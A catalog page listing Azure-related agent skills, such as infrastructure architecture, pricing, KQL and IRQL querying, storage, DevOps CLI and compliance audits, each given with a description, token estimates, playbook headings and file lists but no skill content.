Architect and provision enterprise Azure infrastructure from workload descriptions for cloud architects and platform engineers, covering networking, identity, security, compliance, and multi-resource topologies with Well-Architected alignment, and generating Bicep or Terraform directly without azd. Use when the user asks to plan Azure infrastructure, architect a landing zone, design a hub-spoke network, plan a multi-region disaster recovery topology, set up virtual networks, firewalls, and private endpoints, run a subscription-scope Bicep deployment, or configure Azure Backup for VM workloads.
What it loads into context
Frontmatter
156 tokensAlways available to the agent
SKILL.md
1,719 tokensWhen the skill is activated
Reference documents
32,345 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Quick Reference
- Workflow (Start Here)
- Architecture
- MCP Tools
- Error Handling
- Output template
- Quality gate
Files
SKILL.mdcore7,232 bytesreferences/bicep-generation.mddoc5,246 bytesreferences/constraints/README.mddoc1,249 bytesreferences/constraints/ai-ml.mddoc3,292 bytesreferences/constraints/compute-apps.mddoc8,000 bytesreferences/constraints/compute-infra.mddoc4,564 bytesreferences/constraints/data-analytics.mddoc6,489 bytesreferences/constraints/data-relational.mddoc5,044 bytesreferences/constraints/messaging.mddoc2,573 bytesreferences/constraints/monitoring.mddoc1,776 bytesreferences/constraints/networking-connectivity.mddoc6,282 bytesreferences/constraints/networking-core.mddoc7,166 bytesreferences/constraints/networking-traffic.mddoc4,708 bytesreferences/constraints/security.mddoc2,409 bytesreferences/deployment.mddoc3,803 bytesreferences/pairing-checks.mddoc3,753 bytesreferences/phases/1-extract-insights.mddoc2,653 bytesreferences/phases/2-research-best-practices.mddoc2,906 bytesreferences/phases/3-research-resources.mddoc3,387 bytesreferences/phases/4-generate-plan.mddoc792 bytesreferences/phases/5-verify.mddoc814 bytesreferences/phases/6-generate-iac.mddoc2,606 bytesreferences/phases/7-deploy.mddoc1,300 bytesreferences/referenced-workload.mddoc7,504 bytesreferences/resources/README.mddoc1,647 bytesreferences/resources/ai-ml.mddoc2,162 bytesreferences/resources/compute-apps.mddoc4,118 bytesreferences/resources/compute-infra.mddoc2,897 bytesreferences/resources/data-analytics.mddoc3,078 bytesreferences/resources/data-relational.mddoc2,695 bytesreferences/resources/messaging.mddoc2,001 bytesreferences/resources/monitoring.mddoc1,515 bytesreferences/resources/networking-connectivity.mddoc3,698 bytesreferences/resources/networking-core.mddoc4,406 bytesreferences/resources/networking-traffic.mddoc2,634 bytesreferences/resources/security.mddoc1,510 bytesreferences/schema.mddoc3,853 bytesreferences/terraform-generation.mddoc4,504 bytesreferences/verification.mddoc2,669 bytesreferences/waf-checklist.mddoc1,947 bytesreferences/workflow.mddoc5,028 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-infrastructure
When your agent uses it
Azure infrastructure patterns guide landing-zone, networking, identity, naming, tagging, and private connectivity decisions. Use this skill when designing hub-spoke networks, private endpoint patterns, Workload Identity, naming conventions, tag strategies, AKS architecture, Key Vault access, or secure PaaS topology.
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
1,177 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Criteria
- Output template
- Limits
- Progressive disclosure and bundled resources
- Related primitives
- Quality gate
Scripts executed separately
scripts/bootstrap.shscripts/platform-bootstrap.sh
Files
SKILL.mdcore5,369 bytesscripts/bootstrap.shruns20,236 bytesscripts/platform-bootstrap.shruns24,922 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-pricing
When your agent uses it
Fetch live Azure Retail Prices API data and estimate Azure service, SKU, region, reservation, savings plan, spot, and Copilot Studio credit costs. Use when the user asks about Azure pricing, Azure costs, Azure billing, workload estimates, SKU comparison, Copilot Credits, Copilot Studio pricing, or agent usage estimation.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
2,513 tokensWhen the skill is activated
Reference documents
4,174 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Retail Prices API
- Common filters
- Response fields and pricing rules
- Procedure
- Copilot Studio agent cost estimation
- Troubleshooting
- Progressive disclosure and bundled resources
- Compatibility vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,227 bytesSKILL.mdcore10,227 bytesreferences/COPILOT-STUDIO-RATES.mddoc5,795 bytesreferences/COST-ESTIMATOR.mddoc3,585 bytesreferences/REGIONS.mddoc2,730 bytesreferences/SERVICE-NAMES.mddoc3,805 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-resource-health-diagnose
When your agent uses it
Analyze Azure resource health, logs, metrics, and telemetry to diagnose operational issues and produce a prioritized remediation plan. Use this skill when the user asks to troubleshoot an Azure resource, inspect Azure Resource Health, analyze Log Analytics or Application Insights data, classify root causes, or create Azure CLI remediation and rollback steps.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
2,193 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Resource-specific health indicators
- Diagnostic queries
- Classification and remediation
- Troubleshooting
- Diagnostic vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore10,479 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-resource-lookup
When your agent uses it
List, find, and show Azure resources across subscriptions or resource groups using Azure Resource Graph queries. Use when the user asks to list websites, web apps, app services, virtual machines, storage accounts, or container apps, asks what resources they have, wants a resource inventory, searches resources by tag, runs tag analysis, discovers orphaned resources or unattached disks, counts resources by type, or performs a cross-subscription lookup.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
1,435 tokensWhen the skill is activated
Reference documents
1,215 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Quick Reference
- MCP Tools
- Workflow
- Error Handling
- Constraints
- Output template
- Quality gate
Files
SKILL.mdcore6,058 bytesSKILL.mdcore6,058 bytesSKILL.mdcore6,058 bytesreferences/azure-resource-graph.mddoc5,048 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-resource-visualizer
When your agent uses it
Analyze Azure resource groups and generate Mermaid architecture diagrams and markdown documentation for their resources and relationships. Use this skill when the user asks to diagram Azure resources, visualize a resource group, understand Azure architecture, map dependencies, or document resource relationships.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
1,872 tokensWhen the skill is activated
Reference documents
1,210 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Resource analysis checklist
- Relationship mapping
- Mermaid diagram rules
- Edge cases
- Progressive disclosure and bundled resources
- Azure query and syntax vocabulary
- Output template
- Quality gate
Files
LICENSE.txtdoc1,078 bytesSKILL.mdcore8,391 bytesSKILL.mdcore8,391 bytesSKILL.mdcore8,391 bytesSKILL.mdcore8,391 bytesSKILL.mdcore8,391 bytesSKILL.mdcore8,391 bytesassets/example-diagram.mddoc1,750 bytesassets/template-architecture.mddoc964 bytesreferences/azure-resource-graph.mddoc2,390 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-terraform-cli
When your agent uses it
Terraform CLI operations manage Azure infrastructure as code through Terraform formatting, validation, initialization, planning, apply workflows, destroy workflows, state inspection, import workflows, module development, provider lock files, tfvars, and security scanning. Use this skill when working with terraform init, plan, apply, destroy, validate, fmt, state, import, or tfsec workflows.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,388 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Related primitives
- Quality gate
Files
SKILL.mdcore6,322 bytesSKILL.mdcore6,322 bytesSKILL.mdcore6,322 bytesSKILL.mdcore6,322 bytesSKILL.mdcore6,322 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-terraform-terratest-module-testing
When your agent uses it
Creates, repairs, and runs scoped Terratest coverage for Open Horizons Terraform modules under tests/terraform. Use when adding module tests, testing validation failures, selecting static or plan coverage, or running an explicitly approved Azure integration test with safe cleanup.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
1,240 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Repository anchors
- Modes
- Procedure
- Output template
- Limits
- Quality gate
Files
SKILL.mdcore5,804 bytesSKILL.mdcore5,804 bytesSKILL.mdcore5,804 bytesevals/eval_set.jsonasset1,053 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubimport-infrastructure-as-code
When your agent uses it
Import existing Azure resources into Terraform with Azure CLI discovery, dependency mapping, Azure Verified Modules, exact import addresses, and drift-safe plans. Use when asked to reverse-engineer live Azure infrastructure, generate IaC from subscriptions, resource groups, or ARM resource IDs, map dependencies, use AVM modules, or validate imported Terraform.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
3,342 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Inputs
- Procedure
- AVM selection and module reading
- AVM module rules
- Import address derivation
- Drift prevention
- Troubleshooting
- Import gotchas and exact terminology
- Output template
- Quality gate
- References
Files
SKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytesSKILL.mdcore14,322 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kusto
When your agent uses it
Query and analyze data in Azure Data Explorer with KQL for log analytics, telemetry, and time series analysis. Use when the user writes KQL queries, queries a Kusto database or ADX cluster, analyzes log analytics data, works with time series or IoT telemetry, or performs anomaly detection.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
2,212 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Overview
- Core Workflow
- Query Patterns
- Key Data Fields
- Result Format
- KQL Best Practices
- Best Practices
- MCP Tools Used
- Fallback Strategy: Azure CLI Commands
- Common Issues
- Use Cases
- Output template
- Quality gate
Files
SKILL.mdcore9,432 bytesSKILL.mdcore9,432 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kusto-graph
When your agent uses it
Build and query Kusto graphs from natural language, covering transient graphs with make-graph, persistent graph models and snapshots, pattern matching with graph-match, shortest paths, connected components, and graph-to-table export using edges-first construction. Use when the user works with make-graph, graph-match, graph-shortest-paths, graph-to-table, or graph-mark-components, builds a persistent graph model or snapshot, constructs a graph from data, finds paths between nodes, matches patterns in a graph, or analyzes connected components in KQL.
What it loads into context
Frontmatter
150 tokensAlways available to the agent
SKILL.md
4,870 tokensWhen the skill is activated
Reference documents
2,465 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- The Edges-First Approach
- Graph Operators Reference
- Transient Graphs
- Persistent Graphs
- Transient vs Persistent: When to Use Which
- Security & Threat Hunting Examples
- Using with IRQL
- Practical Usage Scenarios
- MCP Tools Used
- Opening Queries in Kusto Explorer (Windows Only)
- Output template
- Quality gate
Files
SKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesSKILL.mdcore20,031 bytesreferences/EXAMPLES.mddoc2,975 bytesreferences/KUSTO_EXPLORER_LAUNCH.mddoc2,659 bytesreferences/SCENARIOS.mddoc3,853 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kusto-irql
When your agent uses it
Compose Incident Response Query Language queries for Kusto cybersecurity investigations, translating natural language hunting questions into composable IRQL pipelines built from Get_*, Extract_*, and Enrich_* functions. Use when the user writes an IRQL query, runs a security or threat hunt in KQL, builds an incident response query or hunting pipeline, or investigates failed logins, phishing, lateral movement, process execution, or file creation events.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
2,887 tokensWhen the skill is activated
Reference documents
1,326 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- IRQL Function Preflight
- What IRQL Is
- Deploying IRQL
- Function Catalog
- Composition Rules
- Query Generation Guidelines
- Examples
- MCP Tools Used
- Opening Queries in Kusto Explorer (Windows Only)
- Output template
- Quality gate
Files
SKILL.mdcore11,366 bytesSKILL.mdcore11,366 bytesSKILL.mdcore11,366 bytesSKILL.mdcore11,366 bytesreferences/EXAMPLES.mddoc2,284 bytesreferences/KUSTO_EXPLORER_LAUNCH.mddoc2,659 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kusto-irql-graph
When your agent uses it
Apply IRQL graph functions to existing KQL or IRQL query results for Kusto Explorer visualization, generating Lift_To_Graph mappings and composing Graph_Render_View, Graph_Fold_By_Property, Extract_Node_*, Enrich_Node_*, and Enrich_Graph_* calls. Use when the user supplies a query and wants Lift_To_Graph, Graph_Render_View, Graph_Fold_By_Property, IRQL graph enrichment, graph mapping for existing results, an icon-decorated graph, or folded graph nodes.
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
4,900 tokensWhen the skill is activated
Reference documents
4,411 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Scope and Routing
- Input Contract
- When to invoke
- Environment
- IRQL Graph Function Family
- Mapping JSON Schema
- Mapping Generation Rules
- Function Selection
- Pipeline Pattern
- Examples
- Query Results -> Mapping Translation
- Opening Queries in Kusto Explorer (Windows Only)
- Output template
- Quality gate
Files
SKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesSKILL.mdcore19,759 bytesreferences/DEPLOY_IRQL_FUNCTIONS.mddoc11,414 bytesreferences/EXAMPLES.mddoc3,642 bytesreferences/KUSTO_EXPLORER_LAUNCH.mddoc2,659 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-messaging
When your agent uses it
Troubleshoot and resolve issues with the Azure Messaging SDKs for Event Hubs and Service Bus, covering connection failures, authentication errors, message processing problems, and SDK configuration. Use when the user hits an Event Hubs or Service Bus SDK error, AMQP or connection failure, event processor host issue, lost or expired message lock, lock renewal problem, send timeout, disconnected receiver, checkpoint or offset issue, dead-letter or session error, duplicate events, or needs SDK logging enabled in .NET, Java, Python, or JavaScript.
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
854 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- MCP Tools
- Diagnosis Workflow
- Troubleshooting Guides
- References
- Output template
- Quality gate
Files
SKILL.mdcore3,771 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-postgre-database-management
When your agent uses it
Performs database operations and health monitoring for Open Horizons platform data services. Use this skill when checking PostgreSQL health, validating connections, reviewing backup settings, monitoring database size or active sessions, checking migrations, or troubleshooting database behavior.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,052 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Related primitives
- Quality gate
Files
SKILL.mdcore4,873 bytesSKILL.mdcore4,873 bytesSKILL.mdcore4,873 bytesSKILL.mdcore4,873 bytesSKILL.mdcore4,873 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-storage
When your agent uses it
Design and operate Azure Storage services including Blob Storage, File Shares, Queue Storage, Table Storage, and Data Lake, covering object storage, SMB file shares, async messaging, NoSQL key-value data, big data analytics, access tiers, and lifecycle management. Use when the user asks about blob storage, file shares, queue or table storage, Data Lake, uploading files or downloading blobs, storage accounts, hot, cool, cold, or archive access tiers, tier comparison and selection, or storage lifecycle management policies.
What it loads into context
Frontmatter
141 tokensAlways available to the agent
SKILL.md
1,337 tokensWhen the skill is activated
Reference documents
5,253 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Services
- MCP Server (Preferred)
- CLI Fallback
- Storage Account Tiers
- Blob Access Tiers
- Redundancy Options
- Service Details
- SDK Quick References
- Azure SDKs
- Output template
- Quality gate
Files
SKILL.mdcore5,772 bytesSKILL.mdcore5,772 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/sdk-usage.mddoc4,542 bytesreferences/sdk/azure-data-tables-java.mddoc1,314 bytesreferences/sdk/azure-data-tables-py.mddoc1,070 bytesreferences/sdk/azure-storage-blob-java.mddoc1,350 bytesreferences/sdk/azure-storage-blob-py.mddoc1,025 bytesreferences/sdk/azure-storage-blob-rust.mddoc1,094 bytesreferences/sdk/azure-storage-blob-ts.mddoc1,221 bytesreferences/sdk/azure-storage-file-datalake-py.mddoc1,367 bytesreferences/sdk/azure-storage-file-share-py.mddoc1,006 bytesreferences/sdk/azure-storage-file-share-ts.mddoc1,262 bytesreferences/sdk/azure-storage-queue-py.mddoc1,091 bytesreferences/sdk/azure-storage-queue-ts.mddoc1,258 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-architecture-autopilot
When your agent uses it
Design new Azure infrastructure or analyze existing Azure resources, generate interactive architecture diagrams, refine through conversation, produce Bicep, review, and deploy. Use when asked to design, analyze, modify, or deploy Azure architecture, including "Create X on Azure", "Set up a RAG architecture", "Analyze my current Azure infrastructure", "Draw a diagram for rg-xxx", Foundry slowness, cost reduction, security strengthening, Microsoft Foundry, AI Search, OpenAI, Fabric, ADLS Gen2, Databricks, and Azure services.
What it loads into context
Frontmatter
134 tokensAlways available to the agent
SKILL.md
2,029 tokensWhen the skill is activated
Reference documents
33,297 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Language and communication rules
- Prerequisites and context
- Path branching
- Procedure
- Service coverage and sources
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Scripts executed separately
scripts/cli.pyscripts/generator.pyscripts/icons.py
Files
.gitignoreasset508 bytesSKILL.mdcore8,451 bytesSKILL.mdcore8,451 bytesassets/06-architecture-diagram.pngasset334,642 bytesassets/07-azure-portal-resources.pngasset175,557 bytesassets/08-deployment-succeeded.pngasset42,019 bytesreferences/ai-data.mddoc7,293 bytesreferences/architecture-guidance-sources.mddoc7,071 bytesreferences/azure-common-patterns.mddoc4,285 bytesreferences/azure-dynamic-sources.mddoc4,848 bytesreferences/bicep-generator.mddoc20,303 bytesreferences/bicep-reviewer.mddoc7,228 bytesreferences/phase0-scanner.mddoc25,403 bytesreferences/phase1-advisor.mddoc47,887 bytesreferences/phase4-deployer.mddoc11,922 bytesreferences/service-gotchas.mddoc6,504 bytesscripts/cli.pyruns5,832 bytesscripts/generator.pyruns140,449 bytesscripts/icons.pyruns2,144,733 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-container-registry-cli
When your agent uses it
Manage Azure Container Registry with az acr CLI commands for registries, images, cloud builds, ACR Tasks, authentication, tokens, geo-replication, networking, purge, import, and diagnostics. Use when working with ACR, az acr, pushing or importing container images in Azure, or Azure Container Registry operations.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
1,861 tokensWhen the skill is activated
Reference documents
6,822 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Command map
- ACR principles
- CLI structure
- Procedure
- Progressive disclosure and bundled resources
- Gotchas
- Output template
Files
SKILL.mdcore8,321 bytesSKILL.mdcore8,321 bytesSKILL.mdcore8,321 bytesSKILL.mdcore8,321 bytesreferences/auth-and-security.mddoc7,689 bytesreferences/build-and-tasks.mddoc6,168 bytesreferences/images-and-artifacts.mddoc6,613 bytesreferences/networking-and-geo.mddoc6,975 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-deployment-preflight
When your agent uses it
Validate Azure Bicep deployments before execution with syntax checks, azd preview, Azure CLI what-if, validation-level fallback, permission checks, and a preflight report. Use this skill when the user asks before azd up, azd provision, az deployment, Bicep deployment, infrastructure review, permission verification, or what-if change preview.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,763 tokensWhen the skill is activated
Reference documents
6,214 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Preview commands
- What-if interpretation
- Error handling
- Progressive disclosure and bundled resources
- Command and scope vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore7,242 bytesreferences/ERROR-HANDLING.mddoc8,877 bytesreferences/REPORT-TEMPLATE.mddoc7,308 bytesreferences/VALIDATION-COMMANDS.mddoc8,379 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-developer-cli
When your agent uses it
Design, create, review, migrate, or troubleshoot Azure Developer CLI azd projects using azure.yaml, infra Bicep or Terraform, environments, secrets, hooks, deployment workflows, and azd-managed CI/CD. Use this skill when the user asks for azd project structure, Azure Developer CLI best practices, azd templates, or azure.yaml guidance.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,835 tokensWhen the skill is activated
Reference documents
4,945 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Safety guardrails
- Project defaults
- Modeling rules
- Hooks and CI/CD
- Validation commands
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore8,454 bytesSKILL.mdcore8,454 bytesSKILL.mdcore8,454 bytesSKILL.mdcore8,454 bytesSKILL.mdcore8,454 bytesexamples/azure.yamlasset767 bytesreferences/iac-and-environments.mddoc6,914 bytesreferences/official-docs.mddoc3,724 bytesreferences/project-structure.mddoc5,442 bytesreferences/security-cicd-operations.mddoc7,428 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-devops-cli
When your agent uses it
Manage Azure DevOps with Azure CLI and the azure-devops extension. Use when the user asks for Azure DevOps CLI commands, az devops automation, projects, repos, pull requests, pipelines, builds, work items, artifacts, service endpoints, permissions, or CI/CD scripting.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
2,030 tokensWhen the skill is activated
Reference documents
14,674 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Command map
- Reference routing
- Procedure
- Command selection patterns
- Gotchas
- Progressive disclosure and bundled resources
- CLI shorthand
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,924 bytesSKILL.mdcore8,924 bytesSKILL.mdcore8,924 bytesSKILL.mdcore8,924 bytesreferences/advanced-usage.mddoc5,415 bytesreferences/boards-and-iterations.mddoc6,156 bytesreferences/long-comments-on-windows.mddoc3,151 bytesreferences/org-and-security.mddoc9,256 bytesreferences/pipelines-and-builds.mddoc4,807 bytesreferences/repos-and-prs.mddoc6,722 bytesreferences/variables-and-agents.mddoc3,805 bytesreferences/workflows-and-patterns.mddoc16,451 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-static-web-apps
When your agent uses it
Create, configure, run, and deploy Azure Static Web Apps with the SWA CLI. Use when asked to deploy a static site to Azure, run SWA locally, configure staticwebapp.config.json, add Azure Functions APIs, set API runtimes, database connections, or GitHub Actions CI/CD for Static Web Apps.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
2,732 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Configuration files
- Command reference
- Deployment vocabulary
- Azure Functions API
- GitHub Actions deployment
- Troubleshooting
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,315 bytesSKILL.mdcore10,315 bytesSKILL.mdcore10,315 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcloud-design-patterns
When your agent uses it
Select, explain, and apply cloud design patterns for distributed systems across reliability, performance, messaging, architecture, deployment, security, and event-driven categories. Use when designing, reviewing, or implementing cloud workloads and distributed system architectures.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,553 tokensWhen the skill is activated
Reference documents
5,741 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Pattern categories at a glance
- Distributed-system fallacies to counter
- Pattern selection rules
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,477 bytesreferences/architecture-design.mddoc4,680 bytesreferences/azure-service-mappings.mddoc606 bytesreferences/best-practices.mddoc1,592 bytesreferences/deployment-operational.mddoc3,310 bytesreferences/event-driven.mddoc715 bytesreferences/messaging-integration.mddoc4,643 bytesreferences/performance.mddoc6,735 bytesreferences/reliability-resilience.mddoc6,359 bytesreferences/security.mddoc1,835 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcosmosdb-datamodeling
When your agent uses it
Capture Azure Cosmos DB for NoSQL workload requirements and produce access-pattern-driven data model artifacts. Use when the user asks to design a Cosmos DB NoSQL model, choose containers and partition keys, document access patterns, analyze aggregates, or create cosmosdb_requirements.md and cosmosdb_data_model.md.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
2,482 tokensWhen the skill is activated
Reference documents
7,892 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Discovery rules
- Requirements artifact
- Modeling decisions
- Procedure
- Final deliverable
- Progressive disclosure and bundled resources
- Compatibility vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore11,048 bytesreferences/extended-guide.mddoc37,179 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubupdate-avm-modules-in-bicep
When your agent uses it
Update Azure Verified Modules (AVM) references in Bicep files by discovering avm/res modules, comparing MCR tag versions, reviewing breaking changes, editing versions and parameters, and validating with bicep lint and bicep build. Use when asked to update AVM modules in Bicep.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,436 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- AVM discovery rules
- Procedure
- Breaking change policy
- Tooling notes
- Output template
- Quality gate
- References
Files
SKILL.mdcore5,822 bytesSKILL.mdcore5,822 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-compliance
When your agent uses it
Run Azure compliance and security audits with azqr plus Key Vault expiration checks, covering best-practice assessment, resource review, policy and compliance validation, and security posture checks. Use when the user asks for a compliance scan or assessment, a security audit, Azure best-practice review, help before running the azqr CLI, Key Vault expiration checks, expired certificates or expiring secrets, or orphaned resource review.
What it loads into context
Frontmatter
119 tokensAlways available to the agent
SKILL.md
1,224 tokensWhen the skill is activated
Reference documents
9,958 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- Activation phrases
- Prerequisites
- Assessments
- MCP Tools
- Assessment Workflow
- Error Handling
- Best Practices
- SDK Quick References
- Output template
- Quality gate
Files
SKILL.mdcore5,620 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/azqr-recommendations.mddoc5,786 bytesreferences/azqr-remediation-patterns.mddoc7,946 bytesreferences/azure-keyvault-expiration-audit.mddoc5,142 bytesreferences/azure-quick-review.mddoc5,069 bytesreferences/azure-resource-graph.mddoc2,697 bytesreferences/sdk/azure-keyvault-certificates-rust.mddoc1,013 bytesreferences/sdk/azure-keyvault-keys-rust.mddoc1,291 bytesreferences/sdk/azure-keyvault-keys-ts.mddoc1,019 bytesreferences/sdk/azure-keyvault-py.mddoc1,135 bytesreferences/sdk/azure-keyvault-secrets-rust.mddoc1,334 bytesreferences/sdk/azure-keyvault-secrets-ts.mddoc1,043 bytesreferences/sdk/azure-security-keyvault-keys-dotnet.mddoc1,170 bytesreferences/sdk/azure-security-keyvault-keys-java.mddoc1,381 bytesreferences/sdk/azure-security-keyvault-secrets-java.mddoc1,517 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-entra-agent-id
When your agent uses it
